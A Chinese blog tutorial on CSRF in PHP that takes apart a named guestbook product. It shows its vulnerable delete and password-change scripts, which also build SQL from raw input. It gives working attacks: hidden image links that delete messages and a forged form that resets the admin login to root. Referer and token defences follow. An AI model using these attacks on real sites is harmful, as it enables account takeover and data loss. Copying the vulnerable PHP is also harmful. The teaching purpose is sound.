zacklin
zacklin

PHP漏洞全解(六)-跨网站请求伪造

CSRF(Cross Site Request Forgeries)，意为跨网站请求伪造，也有写为XSRF。攻击者伪造目标用户的HTTP请求，然后此请求发送到有CSRF漏洞的网站，网站执行此请求后，引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接，让目标用户在不注意的情况下单击这个链接，由于是用户自己点击的，而他又是合法用户拥有合法权限，所以目标用户能够在网站内执行特定的HTTP链接，从而达到攻击者的目的。

例如:某个购物网站购买商品时，采用http://www.shop.com/buy.php?item=watch&num=1，item参数确定要购买什么物品，num参数确定要购买数量，如果攻击者以隐藏的方式发送给目标用户链接

，那么如果目标用户不小心访问以后，购买的数量就成了1000个

实例

随缘网络PHP留言板V1.0

任意删除留言

//delbook.php 此页面用于删除留言

 
  
     
   
  1.  
    2.  
   
  2. include_once("dlyz.php"); //dlyz.php用户验证权限，当权限是admin的时候方可删除留言 
    3.  
   
  3. include_once("../conn.php"); 
    4.  
   
  4. $del=$_GET["del"]; 
    5.  
   
  5. $id=$_GET["id"]; 
    6.  
   
  6. if ($del=="data") 
    7.  
   
  7. { 
    8.  
   
  8.  $ID_Dele= implode(",",$_POST['adid']); 
    9.  
   
  9.  $sql="delete from book where id in (".$ID_Dele.")"; 
    10.  
   
  10.  mysql_query($sql); 
    11.  
   
  11. } 
    12.  
   
  12. else 
    13.  
   
  13. { 
    14.  
   
  14.  $sql="delete from book where id=".$id; //传递要删除的留言ID 
    15.  
   
  15.  mysql_query($sql); 
    16.  
   
  16. } 
    17.  
   
  17. mysql_close($conn); 
    18.  
   
  18. echo ""; 
    19.  
   
  19. echo "alert(‘删除成功！’);"; 
    20.  
   
  20. echo " location=’book.php’;"; 
    21.  
   
  21. echo ""; 
    22.  
   
  22. ?> 
    23.  
  
 
  
当我们具有admin权限，提交http://localhost/manage/delbook.php?id=2 时，就会删除id为2的留言
 
  
利用方法:
 
  
我们使用普通用户留言（源代码方式），内容为
 
  
 
  
     
   
  1. "delbook.php?id=2" /> 
    2.  
   
  2. "delbook.php?id=3" /> 
    3.  
   
  3. "delbook.php?id=4" /> 
    4.  
   
  4. "delbook.php?id=5" /> 
    5.  
  
 
  
插入4张图片链接分别删除4个id留言，然后我们返回首页浏览看，没有什么变化。。图片显示不了
 
  
现在我们再用管理员账号登陆后，来刷新首页，会发现留言就剩一条，其他在图片链接中指定的ID号的留言，全部都被删除。
 
  
攻击者在留言中插入隐藏的图片链接，此链接具有删除留言的作用，而攻击者自己访问这些图片链接的时候，是不具有权限的，所以看不到任何效果，但是当管理员登陆后，查看此留言，就会执行隐藏的链接，而他的权限又是足够大的，从而这些留言就被删除了
 
  
修改管理员密码
 
  
 
  
     
   
  1. //pass.php 
    2.  
   
  2. if($_GET["act"]) 
    3.  
   
  3. { 
    4.  
   
  4.  $username=$_POST["username"]; 
    5.  
   
  5.  $sh=$_POST["sh"]; 
    6.  
   
  6.  $gg=$_POST["gg"]; 
    7.  
   
  7.  $title=$_POST["title"]; 
    8.  
   
  8.  $copyright=$_POST["copyright"]." 设计制作：厦门随缘网络科技"; 
    9.  
   
  9.  $password=md5($_POST["password"]); 
    10.  
   
  10. if(emptyempty($_POST["password"])) 
    11.  
   
  11. { 
    12.  
   
  12.  $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    13.  
   
  13. } 
    14.  
   
  14. else 
    15.  
   
  15. { 
    16.  
   
  16.  $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    17.  
   
  17. } 
    18.  
   
  18. mysql_query($sql); 
    19.  
   
  19. mysql_close($conn); 
    20.  
   
  20. echo ""; 
    21.  
   
  21. echo "alert(‘修改成功！’);"; 
    22.  
   
  22. echo " location=’pass.php’;"; 
    23.  
   
  23. echo ""; 
    24.  
   
  24. } 
    25.  
  
 
  
这个文件用于修改管理密码和网站设置的一些信息，我们可以直接构造如下表单:
 
  
 
  
     
   
  1. <body> 
    2.  
   
  2.  <form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"> 
    3.  
   
  3.  <input type="radio" value="1" name="sh"> 
    4.  
   
  4.  <input type="radio" name="sh" checked value="0"> 
    5.  
   
  5.  <input type="text" name="username" value="root"> 
    6.  
   
  6.  <input type="password" name="password" value="root"> 
    7.  
   
  7.  <input type="text" name="title" value="随缘网络PHP留言板V1.0(带审核功能)" > 
    8.  
   
  8.  <textarea name="gg" rows="6" cols="80" >欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)！textarea> 
    9.  
   
  9.  <textarea name="copyright" rows="6" cols="80" >随缘网络PHP留言本V1.0 版权所有：厦门随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名textarea> 
    10.  
   
  10.  form> 
    11.  
   
  11. body> 
    12.  
  
 
  
存为attack.html，放到自己网站上http://www.sectop.com/attack.html，此页面访问后会自动向目标程序的pass.php提交参数，用户名修改为root，密码修改为root，然后我们去留言板发一条留言，隐藏这个链接，管理访问以后，他的用户名和密码全部修改成了root
 
  
防范方法
 
  
防范CSRF要比防范其他攻击更加困难，因为CSRF的HTTP请求虽然是攻击者伪造的，但是却是由目标用户发出的，一般常见的防范方法有下面几种:
 
  
1、检查网页的来源
 
  
2、检查内置的隐藏变量
 
  
3、使用POST，不要使用GET
 
  
检查网页来源
 
  
在//pass.php头部加入以下红色字体代码，验证数据提交
 
  
 
  
     
   
  1. if($_GET["act"]) 
    2.  
   
  2. { 
    3.  
   
  3.  if(isset($_SERVER["HTTP_REFERER"])) 
    4.  
   
  4.  { 
    5.  
   
  5.  $serverhost = $_SERVER["SERVER_NAME"]; 
    6.  
   
  6.  $strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]); 
    7.  
   
  7.  $strdomain = explode("/",$strurl); 
    8.  
   
  8.  $sourcehost = $strdomain[0]; 
    9.  
   
  9.  if(strncmp($sourcehost, $serverhost, strlen($serverhost))) 
    10.  
   
  10.  {
    11.  
   
  11.  unset($_POST); 
    12.  
   
  12.  echo ""; 
    13.  
   
  13.  echo "alert(‘数据来源异常!’);"; 
    14.  
   
  14.  echo " location=’index.php’;";
    15.  
   
  15.  echo ""; 
    16.  
   
  16.  } 
    17.  
   
  17.  } 
    18.  
   
  18.  $username=$_POST["username"]; 
    19.  
   
  19.  $sh=$_POST["sh"]; 
    20.  
   
  20.  $gg=$_POST["gg"]; 
    21.  
   
  21.  $title=$_POST["title"]; 
    22.  
   
  22.  $copyright=$_POST["copyright"]." 设计制作：厦门随缘网络科技"; 
    23.  
   
  23.  $password=md5($_POST["password"]); 
    24.  
   
  24.  if(emptyempty($_POST["password"])) 
    25.  
   
  25.  { 
    26.  
   
  26.  $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    27.  
   
  27.  } 
    28.  
   
  28.  else 
    29.  
   
  29.  { 
    30.  
   
  30.  $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    31.  
   
  31.  } 
    32.  
   
  32. mysql_query($sql); 
    33.  
   
  33. mysql_close($conn); 
    34.  
   
  34. echo ""; 
    35.  
   
  35. echo "alert(‘修改成功！’);"; 
    36.  
   
  36. echo " location=’pass.php’;"; 
    37.  
   
  37. echo ""; 
    38.  
   
  38. } 
    39.  
  
 
  
检查内置隐藏变量
 
  
我们在表单中内置一个隐藏变量和一个session变量，然后检查这个隐藏变量和session变量是否相等，以此来判断是否同一个网页所调用
 
  
 
  
     
   
  1. php 
    2.  
   
  2. include_once("dlyz.php"); 
    3.  
   
  3. include_once("../conn.php"); 
    4.  
   
  4. if($_GET["act"]) 
    5.  
   
  5. { 
    6.  
   
  6. if (!isset($_SESSION["post_id"])) 
    7.  
   
  7. { 
    8.  
   
  8. // 生成唯一的ID，并使用MD5来加密 
    9.  
   
  9. $post_id = md5(uniqid(rand(), true)); 
    10.  
   
  10. // 创建Session变量 
    11.  
   
  11. $_SESSION["post_id"] = $post_id; 
    12.  
   
  12. } 
    13.  
   
  13. // 检查是否相等 
    14.  
   
  14. if (isset($_SESSION["post_id"])) 
    15.  
   
  15. { 
    16.  
   
  16. // 不相等 
    17.  
   
  17. if ($_SESSION["post_id"] != $_POST["post_id"]) 
    18.  
   
  18. { 
    19.  
   
  19. // 清除POST变量 
    20.  
   
  20. unset($_POST); 
    21.  
   
  21. echo "<script language=’javascript’>"; 
    22.  
   
  22. echo "alert(‘数据来源异常!’);"; 
    23.  
   
  23. echo " location=’index.php’;"; 
    24.  
   
  24. echo "script>"; 
    25.  
   
  25. } 
    26.  
   
  26. } 
    27.  
   
  27. …… 
    28.  
   
  28. <input type="reset" name="Submit2" value="重 置"> 
    29.  
   
  29. <input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>"> 
    30.  
   
  30. td>tr> 
    31.  
   
  31. table> 
    32.  
   
  32. form> 
    33.  
   
  33. php 
    34.  
   
  34. } 
    35.  
   
  35. mysql_close($conn); 
    36.  
   
  36. ?> 
    37.  
   
  37. body> 
    38.  
   
  38. html> 
    39.  
  
 
  
使用POST，不要使用GET
 
  
传递表单字段时，一定要是用POST，不要使用GET，处理变量也不要直接使用$_REQUEST
 
  
 
 
 


                            

                        

                    

                    
                    

                    
                    
                    

                

                

                    
                

            

        

    

    

        
你可能感兴趣的:(网络安全,网站相关,php,session,csrf,mysql,sql,include)

        

            

                
    
                    
  • 网络安全常识
                        网络安全Ash
web安全网络安全
                        
    一、网络安全常识什么是网络安全？网络安全是指网络系统的硬件、软件及其系统中的数据受到保护，不因偶然的或者恶意的原因而遭到破坏、更改、泄露，系统可以连续可靠正常地运行，网络服务不被中断。什么是计算机病毒？计算机病毒（ComputerVirus）是指编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。什么是木马？木马是一种带有恶意性质的远程
    
                    
    • 
                    
  • linux网络安全
                        网络安全Max
linuxweb安全运维
                        
    Linux网络安全一直是IT行业中备受关注的话题，而红帽作为Linux操作系统的知名发行版，在网络安全领域也扮演着重要的角色。红帽公司一直致力于为用户提供安全可靠的Linux解决方案，以帮助用户建立强大的网络安全防护体系。首先，红帽操作系统本身具有较高的安全性。作为一款开源操作系统，Linux具有代码透明、强大的权限管理和丰富的安全功能等特点，这使得Linux相对于其他闭源操作系统更加安全可靠。而
    
                    
    • 
                    
  • SQL 注入攻击
                        黄亚磊11
数据库
                        
    SQL注入攻击了解吗？攻击者在HTTP请求中注入恶意的SQL代码，服务器使用参数构建数据库SQL命令时，恶意SQL被一起构造，并在数据库中执行。用户登录，输入用户名lianggzone,密码123or1=1,如果此时使用参数构造的方法，就会出现select*fromuserwherename='lianggzone'andpassword='123'or'1'='1';不管用户名和密码是什么内容，
    
                    
    • 
                    
  • SQL面试题集：累计值与1000差值最小的记录
                        数星星的阿波罗
Sql能力通关sql算法数据库数据仓库大数据数据分析面试
                        
    一、题目描述司机累计收入首次接近目标值的订单定位，滴滴平台计划优化司机奖励策略的触发机制，需精准识别司机在接单过程中累计收入首次接近特定目标值1000元的订单节点。该分析用于动态调整奖励发放规则，提升司机接单积极性。样例数据假设表t_sales结构如下：driver_idorder_idincomeorder_time11012002025-02-1909:00:0011023002025-02-
    
                    
    • 
                    
  • 关于防火墙运维面试题2
                        编织幻境的妖
运维网络php
                        
    三、防火墙配置与管理类21.如何根据企业的网络安全策略，制定一套全面的防火墙规则集？需要考虑哪些关键因素？以下是根据企业网络安全策略制定全面防火墙规则集的指导，以及需要考虑的关键因素：一、关键因素（一）网络架构与拓扑了解企业的网络结构明确企业网络是简单的星型拓扑、复杂的网状拓扑还是混合拓扑等。例如，在星型拓扑中，所有设备都连接到一个中心交换机或集线器，这种结构下防火墙规则可能相对集中和简单；而在网
    
                    
    • 
                    
  • 关于防火墙运维面试题
                        编织幻境的妖
运维php网络
                        
    一、防火墙基础概念类1.请详细阐述防火墙在网络安全体系中的具体作用及核心原理。以下是防火墙在网络安全体系中的具体作用及核心原理的详细阐述：防火墙在网络安全体系中的作用访问控制限制非法访问：防火墙可以根据预设的规则，允许或拒绝特定的网络流量通过。例如，企业内部网络可能只允许来自特定IP地址范围的员工访问敏感资源，而阻止其他未经授权的外部IP地址的访问，从而保护内部网络免受未经授权的访问和潜在的攻击。
    
                    
    • 
                    
  • ubuntu终端常用快捷键
                        superyuanzhe
linuxlinux
                        
    转自http://forum.ubuntu.org.cn/viewtopic.php?f=86&t=318908今天看到一个有关快捷键的帖子，觉得不错，粘过来大家看看:BashShell快捷键l：删除从光标到行尾的部分l：删除从光标到行首的部分l：删除从光标到当前单词结尾的部分l：删除从光标到当前单词开头的部分l：将光标移到行首l：将光标移到行尾l：将光标移到当前单词头部l：将光标移到当前单词尾部
    
                    
    • 
                    
  • C++ Primer Plus chapter 18
                        狗头鹰
c++windows开发语言
                        
    exercies1考察std::initializer_list并不相同#include#include#includedoublesum(std::initializer_listi){doubletot=0;std::for_each(i.begin(),i.end(),[&tot](doubledb){tot+=db;});returntot;}templateTaverage_list(c
    
                    
    • 
                    
  • C++ C_style string overview and basic Input funcitons
                        狗头鹰
C++notesc++开发语言
                        
    writeinadvance最近在做题，遇到一个简单的将console的输入输出到文件中的简单题目，没有写出来。悔恨当初没有踏实地总结string相关的I/O以及与文件的操作。这篇文章旨在记录基础的字符I/O,简单常用的文件I/O操作函数。当然，你会说C++已经有一个stringclass，我们只需要#include就能够使用它带来的便捷性及强大的功能，无需烦恼细节。但知道底层的具体情况在语言的学
    
                    
    • 
                    
  • C++(23)：lambda可以省略()
                        风静如云
C/C++c++
                        
    C++越来越多的使用了lambda，C++23也进一步的放宽了对lambda的限制，这一次，如果lambda没有参数列表，那么可以直接省略掉()：#includeusingnamespacestd;voidfunc(){autof=[]{cout<<"inf"<<endl;};f();}intmain(){func();return0;}允许程序输出：inf
    
                    
    • 
                    
  • mac+php5.3的docker-compose.yml分享
                        自娱自乐22
docker
                        
    version:'3'services:nginx:image:nginx:latestcontainer_name:nginx-composevolumes:-./wwwroot:/usr/share/nginx/html:rw-./nginx/nginx/:/etc/nginx/:rw-./log/nginx:/var/log/nginx:rwrestart:alwayslinks:-phpp
    
                    
    • 
                    
  • mac下docker搭建nginx+php+mysql,并实现nginx负载均衡
                        自娱自乐22
macosdockernginx负载均衡php
                        
    一环境系统：macOSSonoma14.3芯片：AppleM3Prodocker版本：25.0.5二软件OrbStack[推荐，一款轻量化的docker管理软件，还是docker的命令]item2三步骤拉取nginx镜像dockerpullnginx新建一个nginx容器dockerrun--namenginx5-d-p80:80nginx确认nginx内部的目录[第一次一定要确认下目录]-配置目
    
                    
    • 
                    
  • DeepSeek原理介绍以及对网络安全行业的影响
                        AI拉呱
Deepseek人工智能
                        
    大家好，我是AI拉呱，一个专注于人工智领域与网络安全方面的博主，现任资深算法研究员一职，兼职硕士研究生导师；热爱机器学习和深度学习算法应用，深耕大语言模型微调、量化、私域部署。曾获多次获得AI竞赛大奖，拥有多项发明专利和学术论文。对于AI算法有自己独特见解和经验。曾辅导十几位非计算机学生转行到算法岗位就业。关注评审分享一起学习更多知识。1.DeepSeek公司介绍1.1DeepSeek是什么：wh
    
                    
    • 
                    
  • 二级等保对机房的要求
                        wayuncn
安全web安全
                        
    ‌随着信息技术的发展，信息系统的重要性日益凸显。为了保障信息系统的安全性，国家制定了《信息安全等级保护管理办法》。本文依据该办法中的二级等保标准，详细介绍机房物理安全、网络安全、主机安全以及应用及数据安全的要求。机房物理安全要求对于达到二级等保级别的单位而言，在选址方面应当考虑远离自然灾害频发地区;建筑物结构坚固耐用，具备良好的防水、防火性能1.具体来说：环境控制温湿度调节设施齐全有效;配备不间断
    
                    
    • 
                    
  • SIP协议ALG实现逻辑【概览】（一）
                        看兵马俑的程序员
NAT+ALG网络网络协议
                        
    SIP（SessionInitiationProtocol）是一种用于控制多媒体通信会话的信令协议，广泛应用于VoIP（VoiceoverIP）、视频通话、即时消息等实时通信应用中。ALG（ApplicationLayerGateway，应用层网关）是通过理解应用层协议来调整网络流量的网络设备功能，尤其在NAT（NetworkAddressTranslation，网络地址转换）环境下的通信场景中，
    
                    
    • 
                    
  • 等保系列之——网络安全等级保护测评工作流程及工作内容
                        等保管家
web安全安全
                        
    等保系列之——网络安全等级保护测评工作流程及工作内容引言随着信息技术的快速发展，网络安全问题日益凸显。为了保障信息系统的安全稳定运行，我国实施了网络安全等级保护制度（简称等保）。等保测评作为该制度的重要组成部分，对于提高信息系统的安全防护能力具有重要意义。等保测评概述等保测评全称是信息安全等级保护测评，它依据国家标准《信息安全技术网络安全等级保护测评要求》进行，旨在评估信息系统的安全防护能力是否达
    
                    
    • 
                    
  • YashanDB其他模式对象
                        
数据库
                        
    本文内容来自YashanDB官网，原文内容请见https://doc.yashandb.com/yashandb/23.3/zh/%E6%A6%82%E5%BF%B5%...视图用户可以将一个使用频率较高的查询语句定义为一个持久化的对象，该持久化对象称为视图，为视图提供原始数据的表称为基表。通过查询视图代替原来的查询表，可简化SQL语句编写。假设公司EMPLOYEE表包含所有员工个人信息，DEPA
    
                    
    • 
                    
  • 经销商管理系统架构设计方案（附 Java版本和Python版本源代码详解）
                        AI天才研究院
DeepSeekR1&大数据AI人工智能大模型AI大模型企业级应用开发实战AI大模型应用入门实战与进阶计算科学神经计算深度学习神经网络大数据人工智能大型语言模型AIAGILLMJavaPython架构设计AgentRPA
                        
    经销商管理系统架构设计方案（Java实现源代码详解）关键词：经销商管理系统，Java，SpringBoot，MyBatis，MySQL，架构设计，源代码1.背景介绍随着市场竞争的日益激烈，企业对经销商的管理越来越重视。传统的经销商管理方式效率低下，信息滞后，难以适应现代企业的发展需求。为了提高经销商管理效率，降低运营成本，越来越多的企业开始采用信息化的手段来管理经销商，而经销商管理系统应运而生。经
    
                    
    • 
                    
  • PHP全文检索引擎WindSearch，新增“即用模式”
                        

                        
    WindSearch是一个可以跟php项目完美融合的全文检索引擎，它由纯PHP开发，相比ES，WS无内存占用，无需维护，没有任何繁琐的安装配置，同时又拥有强大的索引跟搜索能力，总的来说，ES常用的功能它都有，但WS更轻量，更方便。WindSearch2.0版本新增“即用模式”，简单搜索场景下，导入、搜索等操作，更加简单直接，无需任何配置。即用模式导入、搜索操作的代码示例：导入数据//实例化对象$W
    
                    
    • 
                    
  • [附源码]计算机毕业设计基于SpringBoot的小说阅读系统
                        计算机毕设程序设计
springbootjava后端
                        
    项目运行环境配置：Jdk1.8+Tomcat7.0+Mysql+HBuilderX（Webstorm也行）+Eclispe（IntelliJIDEA,Eclispe,MyEclispe,Sts都支持）。项目技术：SSM+mybatis+Maven+Vue等等组成，B/S模式+Maven管理等等。环境需要1.运行环境：最好是javajdk1.8，我们在这个平台上运行的。其他版本理论上也可以。2.ID
    
                    
    • 
                    
  • 基于 Spring Boot 的社区居民健康管理系统部署说明书
                        小星袁
毕业设计原文springboot后端java
                        
    目录1系统概述2准备资料3系统安装与部署3.1数据库部署3.1.1MySQL的部署3.1.2Navicat的部署3.2服务器部署3.3客户端部署4系统配置与优化5其他基于SpringBoot的社区居民健康管理系统部署说明书1系统概述本系统主要运用了SpringBoot框架，前端页面的设计主要依托Vue框架来构建，实现丰富且交互性强的用户界面，后台管理功能则采用SpringBoot框架与MySQL数
    
                    
    • 
                    
  • 工控安全双评合规：等保测评与商用密码共铸新篇章
                        网安导师小李
安全网络web安全等保评测安全能力建设网络安全
                        
    01.双评合规概述2017年《中华人民共和国网络安全法》开始正式施行，网络安全等级测评工作也在全国范围内按照相关法律法规和技术标准要求全面落实实施。2020年1月《中华人民共和国密码法》开始正式施行，商用密码应用安全性评估也在有序推广和逐步推进。网络安全等级测评和密码应用安全性评估已经成为我国网络运营者必须依法开展的两项合规测评活动。《密码法》第二十七条明确提出，商用密码应用安全性评估应当与关键信
    
                    
    • 
                    
  • 网络安全等级保护制度详解，一文掌握核心要点！_等级保护相关政策和法律法规
                        ～小羊没烦恼～
web安全安全网络服务器数据库
                        
    一、等级保护制度发展情况等级保护制度的法律依据Ø《计算机信息系统安全保护条例》（1994年GeneralOfficeoftheStateCouncil第147号令）公安部主管全国计算机信息系统安全保护工作。计算机信息系统实行安全等级保护，安全等级的划分标准和安全等级保护的具体办法，由公安部会同有关部门制定。Ø《中华人民共和国警察法》（1995，2012）人民警察履行“监督管理计算机信息系统的安全保
    
                    
    • 
                    
  • 蓝队基础：企业网络安全架构与防御策略
                        重生之物联网转网安
网络安全安全
                        
    声明学习视频来自B站up主**泷羽sec**有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，此文章为对视频内容稍加整理发布，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关，切勿触碰法律底线，否则后果自负！！！！有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/35032
    
                    
    • 
                    
  • 2025年三个月自学手册 网络安全（黑客技术）
                        网安kk
web安全安全网络网络安全人工智能
                        
    基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。如何成为一名黑客很多朋友在学习安全方面都会半路转行，因为不知如何去学，在这里，我将这个整份答案分为黑客（网络安全）入门必备、黑客（网络安全）职业指南、黑客（网络安全）学习导航
    
                    
    • 
                    
  • 入门网络安全工程师要学习哪些内容【2025年寒假最新学习计划】
                        白帽黑客2659
学习web安全安全网络安全密码学
                        
    基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包大家都知道网络安全行业很火，这个行业因为国家政策趋势正在大力发展，大有可为!但很多人对网络安全工程师还是不了解，不知道网络安全工程师需要学什么?知了堂小编总结出以下要点。网络安全工程师是一个概称，学习的东西很多，具体学什么看自己以后的职业定位。如果你以后想成为安全产品工程师，学的内容侧重点就和渗透测试工程师不一样，如果你想成为安全开发
    
                    
    • 
                    
  • 2025年全国CTF夺旗赛-从零基础入门到竞赛，看这一篇就稳了！
                        白帽安全-黑客4148
安全web安全网络网络安全CTF
                        
    目录一、CTF简介二、CTF竞赛模式三、CTF各大题型简介四、CTF学习路线4.1、初期1、html+css+js（2-3天）2、apache+php（4-5天）3、mysql（2-3天）4、python(2-3天)5、burpsuite（1-2天）4.2、中期1、SQL注入（7-8天）2、文件上传（7-8天）3、其他漏洞（14-15天）4.3、后期五、CTF学习资源5.1、CTF赛题复现平台5.
    
                    
    • 
                    
  • 2025年全国CTF夺旗赛-从零基础入门到竞赛，看这一篇就稳了！
                        白帽安全-黑客4148
网络安全web安全linux密码学CTF
                        
    目录一、CTF简介二、CTF竞赛模式三、CTF各大题型简介四、CTF学习路线4.1、初期1、html+css+js（2-3天）2、apache+php（4-5天）3、mysql（2-3天）4、python(2-3天)5、burpsuite（1-2天）4.2、中期1、SQL注入（7-8天）2、文件上传（7-8天）3、其他漏洞（14-15天）4.3、后期五、CTF学习资源5.1、CTF赛题复现平台5.
    
                    
    • 
                    
  • redis的主从复制配置
                        zhaikaiyun
redis
                        
    通过持久化功能，redis保证了即使在服务器重启的情况下也不会丢失或少量丢失数据，但是由于数据存储在一台服务器上，如果这台服务器出现故障，比如磁盘坏了，也会导致数据丢失。为了避免这个单点故障，可以使用主从复制的方式，将主更新的数据，自动更新同步到其他服务器上。主从节点配置[root@k8smasterconfig]#moreredis6380.confinclude/data/redis/redi
    
                    
    • 
                    
  • 如何备战软考网络工程师？
                        互联网之路.
知识点网络
                        
    互联网各领域资料分享专区(不定期更新)：Sheet前言软考网络工程师属于中级资格考试，通过这个考试来获得职称或者提升自己的专业技能。软考网络工程师的考试内容和结构。考试分为上午的综合知识和下午的案例分析，可能涉及计算机网络的基础知识、网络设备配置、网络安全、网络管理等方面。实践操作对下午的案例题很重要，可能需要配置模拟器来练习。但一般没有实际设备，所以模拟器是必要的。同时，真题的重要性不可忽视，需
    
                    
    • 
                                
  • 异常的核心类Throwable
                                    无量
java源码异常处理exception
                                    
    java异常的核心是Throwable，其他的如Error和Exception都是继承的这个类 里面有个核心参数是detailMessage，记录异常信息，getMessage核心方法，获取这个参数的值，我们可以自己定义自己的异常类，去继承这个Exception就可以了，方法基本上，用父类的构造方法就OK，所以这么看异常是不是很easy 
 
 
 
package com.natsu;



    
                                
    • 
                                
  • mongoDB 游标（cursor） 实现分页 迭代
                                    开窍的石头
mongodb
                                    
    上篇中我们讲了mongoDB 中的查询函数，现在我们讲mongo中如何做分页查询 
 
     如何声明一个游标 
       var mycursor = db.user.find({_id:{$lte:5}}); 
      迭代显示游标数
    
                                
    • 
                                
  • MySQL数据库INNODB 表损坏修复处理过程
                                    0624chenhong
tomcatmysql
                                    
    最近mysql数据库经常死掉，用命令net stop mysql命令也无法停掉，关闭Tomcat的时候，出现Waiting for N instance(s) to be deallocated 信息。查了下，大概就是程序没有对数据库连接释放，导致Connection泄露了。因为用的是开元集成的平台，内部程序也不可能一下子给改掉的，就验证一下咯。启动Tomcat,用户登录系统，用netstat -
    
                                
    • 
                                
  • 剖析如何与设计人员沟通
                                    不懂事的小屁孩
工作
                                    
    最近做图烦死了，不停的改图，改图……。烦，倒不是因为改，而是反反复复的改，人都会死。很多需求人员不知该如何与设计人员沟通，不明白如何使设计人员知道他所要的效果，结果只能是沟通变成了扯淡，改图变成了应付。 
 
那应该如何与设计人员沟通呢？ 
 
我认为设计人员与需求人员先天就存在语言障碍。对一个合格的设计人员来说，整天玩的都是点、线、面、配色，哪种构图看起来协调；哪种配色看起来合理心里跟明镜似的，
    
                                
    • 
                                
  • qq空间刷评论工具
                                    换个号韩国红果果
JavaScript
                                    
    

var a=document.getElementsByClassName('textinput');
					var b=[];
					for(var m=0;m<a.length;m++){
						if(a[m].getAttribute('placeholder')!=null)
							b.push(a[m])
					}
					var l
    
                                
    • 
                                
  • S2SH整合之session
                                    灵静志远
springAOPstrutssession
                                    
    错误信息： 
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'cartService': Scope 'session' is not active for the current thread; consider defining a scoped
    
                                
    • 
                                
  • xmp标签
                                    a-john
标签
                                    
    今天在处理数据的显示上遇到一个问题： 
var html = '<li><div class="pl-nr"><span class="user-name">' + user
           + '</span>' + text + '</div></li>';
ulComme
    
                                
    • 
                                
  • Ajax的常用技巧（2）---实现Web页面中的级联菜单
                                    aijuans
Ajax
                                    
    在网络上显示数据，往往只显示数据中的一部分信息，如文章标题，产品名称等。如果浏览器要查看所有信息，只需点击相关链接即可。在web技术中，可以采用级联菜单完成上述操作。根据用户的选择，动态展开，并显示出对应选项子菜单的内容。 在传统的web实现方式中，一般是在页面初始化时动态获取到服务端数据库中对应的所有子菜单中的信息，放置到页面中对应的位置，然后再结合CSS层叠样式表动态控制对应子菜单的显示或者隐
    
                                
    • 
                                
  • 天-安-门，好高
                                    atongyeye
情感
                                    
        我是85后，北漂一族，之前房租1100，因为租房合同到期，再续，房租就要涨150。最近网上新闻，地铁也要涨价。算了一下，涨价之后，每次坐地铁由原来2块变成6块。仅坐地铁费用，一个月就要涨200。内心苦痛。 
 
    晚上躺在床上一个人想了很久，很久。 
   
    我生在农
    
                                
    • 
                                
  • android 动画
                                    百合不是茶
android透明度平移缩放旋转
                                    
    android的动画有两种  tween动画和Frame动画 
  
tween动画;,透明度,缩放,旋转,平移效果 
  
Animation   动画 
AlphaAnimation 渐变透明度 
RotateAnimation 画面旋转 
ScaleAnimation 渐变尺寸缩放 
TranslateAnimation 位置移动 
Animation
    
                                
    • 
                                
  • 查看本机网络信息的cmd脚本
                                    bijian1013
cmd
                                    
    @echo 您的用户名是：%USERDOMAIN%\%username%>"%userprofile%\网络参数.txt"
@echo 您的机器名是：%COMPUTERNAME%>>"%userprofile%\网络参数.txt"
@echo ___________________>>"%userprofile%\
    
                                
    • 
                                
  • plsql 清除登录过的用户
                                    征客丶
plsql
                                    
    tools---preferences----logon history---history  把你想要删除的删除 
 
 
-------------------------------------------------------------------- 
若有其他凝问或文中有错误，请及时向我指出， 
我好及时改正，同时也让我们一起进步。 
email ： binary_spac
    
                                
    • 
                                
  • 【Pig一】Pig入门
                                    bit1129
pig
                                    
    Pig安装 
1.下载pig 
  
wget http://mirror.bit.edu.cn/apache/pig/pig-0.14.0/pig-0.14.0.tar.gz 
  
2. 解压配置环境变量 
  
   如果Pig使用Map/Reduce模式，那么需要在环境变量中，配置HADOOP_HOME环境变量 
  
expor
    
                                
    • 
                                
  • Java 线程同步几种方式
                                    BlueSkator
volatilesynchronizedThredLocalReenTranLockConcurrent
                                    
    为何要使用同步？       java允许多线程并发控制，当多个线程同时操作一个可共享的资源变量时（如数据的增删改查），        将会导致数据不准确，相互之间产生冲突，因此加入同步锁以避免在该线程没有完成操作之前，被其他线程的调用，        从而保证了该变量的唯一性和准确性。    1.同步方法&
    
                                
    • 
                                
  • StringUtils判断字符串是否为空的方法（转帖）
                                    BreakingBad
nullStringUtils“”
                                    
    转帖地址：http://www.cnblogs.com/shangxiaofei/p/4313111.html 
  
public static boolean isEmpty(String str)      
　　判断某字符串是否为空，为空的标准是 str== 
null  
或 str.length()== 
0    
    
                                
    • 
                                
  • 编程之美-分层遍历二叉树
                                    bylijinnan
java数据结构算法编程之美
                                    
    

import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;

public class LevelTraverseBinaryTree {

    /**
     * 编程之美 分层遍历二叉树
     * 之前已经用队列实现过二叉树的层次遍历，但这次要求输出换行，因此要
    
                                
    • 
                                
  • jquery取值和ajax提交复习记录
